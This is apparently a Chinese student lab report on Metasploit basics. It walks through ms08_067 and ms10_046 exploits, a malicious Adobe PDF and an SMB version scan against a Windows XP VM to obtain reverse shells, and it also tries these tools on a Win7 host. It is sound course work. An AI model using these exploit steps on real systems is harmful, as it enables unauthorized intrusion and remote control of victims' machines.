20145215《网络对抗》Exp5 MSF基础应用
基础问题回答
- 用自己的话解释什么是
exploit
,payload
,encode
?-
exploit
就相当于是载具,将真正要负责攻击的代码传送到靶机中,我觉得老师上课举的火箭和卫星的例子非常形象,火箭只是运载工具,它把卫星送入轨道就完成了它的任务,exploit
的功能就和火箭差不多。 -
payload
也就相当于载荷,实际上就是之前我们实验中做到的shellcode
,exploit
把它传送到靶机中后,它就负责执行相应的攻击代码。 -
encode
也就是编码,它主要是为了避免之前的payload
中出现坏字符,从而影响payload
的功能,其次是为了实现免杀,不让杀毒软件很轻易的就发现payload
是攻击代码。
-
实践内容
目录
- 主动攻击:ms08_067漏洞攻击
- 对浏览器攻击:ms10_046漏洞攻击
- 对Adobe的漏洞攻击:adobe_toolbutton
- 辅助模块的应用:smb_version
- 尝试利用漏洞对win7系统进行攻击
实验环境配置
- 攻击机:
Kali
- 靶机: `windows XP SP3(English)
`
主动攻击:ms08_067漏洞攻击
一开始用的老师给的xp中文版虚拟机,结果一直提示没有建立会话:
后面发现虚拟机中已经针对该漏洞打了补丁,将补丁卸载后,依然没有成功:
- 在百度上查了一下,有人说是因为xp中文版的问题,用英文版就不会出现类似错误,于是从同学那拷了英文版的xp,后面就没有出现类似问题。
先用
search ms08_067
指令查询一下针对该漏洞可以运用的攻击模块:用
use exploit/windows/smb/ms08_067_netapi
使用该模块,再使用show payloads
查看可以供我们使用的payload:我们的目的是为了获取靶机的shell,因此这里我们选择通过反向连接来获取
shell
的generic/shell_reverse_tcp
当payload
,使用指令set payload generic/shell_reverse_tcp
对payload进行设置:接着使用指令
show options
查看我们需要设置的参数,发现需要设置一个RHOST(远程主机,即靶机的IP地址)和一个LHOST(本地主机,即攻击机的IP地址):设置完相应的参数后,再次使用
show options
对攻击的选项进行查看:接着使用
exploit
指令开始攻击,攻击成功后获取了靶机的shell,使用systeminfo
指令查看靶机系统信息:
对浏览器攻击:ms10_046漏洞攻击
基本步骤还是和上面一样,先利用
search ms10_046
指令查看可以运用的攻击模块:然后查看需要设置的参数,SRVHOST填的是本地监听主机的IP地址,LHOST也是监听的IP地址,所以这里SRVHOST和LHOST都应该填攻击机的IP地址:
设置好参数后,进行查看:
使用
exploit
指令执行漏洞,可以看到生成了一个url:在靶机的IE浏览器上使用该url进行访问,在MSF终端看见漏洞执行成功:
使用
sessions
指令查看当前存在的会话,可以看到存在一个ID为1的会话:使用
sessions -i 1
选择会话1,成功获取了靶机的shell,利用systeminfo
指令查看靶机的系统信息:
对Adobe的漏洞攻击:adobe_toolbutton
先使用
search adobe
查询和adobe漏洞有关的模块,我选择的是exploit/windows/fileformat/adobe_toolbutton
,然后使用该模块,设置回连的payload
:查看需要设置的参数:
设置好相应参数后,开始实施攻击,发现在
/root/.msf4/local/
目录下成功生成了一个lxm.pdf
文件:然后将该文件传送到靶机上,并且在攻击机上打开监听:
将靶机中的pdf文件打开,攻击机成功获取到靶机shell:
辅助模块的应用:smb_version
使用
show auxiliary
查看可以运用的辅助模块:我使用的是
scanner/smb/smb_version
,用来对靶机的smb
版本进行扫描:设置靶机的IP地址(也可以设置要扫描的一段范围),以及扫描使用的线程:
使用
exploit
指令开始扫描,成功扫描到靶机的smb
版本:
尝试利用漏洞对win7系统进行攻击
- 之前的漏洞攻击都是在靶机xp上完成的,觉得还是有点弱,毕竟现在xp都没人用了,于是想对主机win7进行一个漏洞测试攻击。
一开始准备利用ms14_064漏洞来进行攻击,配置好参数后,进行攻击,得到一串url:
将url复制到win7的IE浏览器上,结果出现找不到网页:
- 我的IE浏览器版本是IE 11,这个版本应该是已经把这个漏洞给修复了。
于是,我在想如果用最新发现的漏洞能不能攻破win7,一开始在msf上搜ms17,结果什么也没搜到,后面搜ms16,只找到了几个漏洞,我从里面选了ms16_016漏洞来进行攻击:
- 简单查了一下这个漏洞,发现它是用来提权的,想到之前免杀实验里做的后门程序,通过回连获得的权限应该只是普通用户,那我就用这个漏洞来进行提权。
于是打开kali的监听,接着在win7上打开后门程序,使用
getuid
指令查看当前用户权限,发现已经是管理员权限了,那也就没有必要用到ms16_016漏洞了:-
后续再尝试使用其他漏洞...
实验总结与体会
- 通过这次实验我们可以看出,其实msf也只是给我们提供了一个平台,在实际的渗透过程中,我们不能完全依靠msf来实现。我们这次实验攻击的靶机都是xp系统,那些漏洞也都是很早之前的漏洞,换句话说,现在我们大多数的电脑都把那些之前常见的漏洞给修复了,所以要想真正的去在实际中攻击一台计算机还是有一定难度的。首先,要利用的漏洞应该是比较新的,并且相应的补丁也还没有发布,在msf上关于17年漏洞的攻击模块目前还没有,是17年还没有发现漏洞吗?当然不是,只是相关的攻击代码还没有更新出来,所以如果我们能自己利用最新的漏洞去写攻击代码,那成功率应该还是挺高的。当然,我觉得msf在实际的渗透中应该也是有非常有帮助的,比如它有很多辅助模块,我们可以利用这些模块来搜集我们想要的一些信息,进而为我们更进一步的攻击打下基础。
- ps:想看微软的详细漏洞信息可以去微软安全技术中心上找,那上面有最新公布的漏洞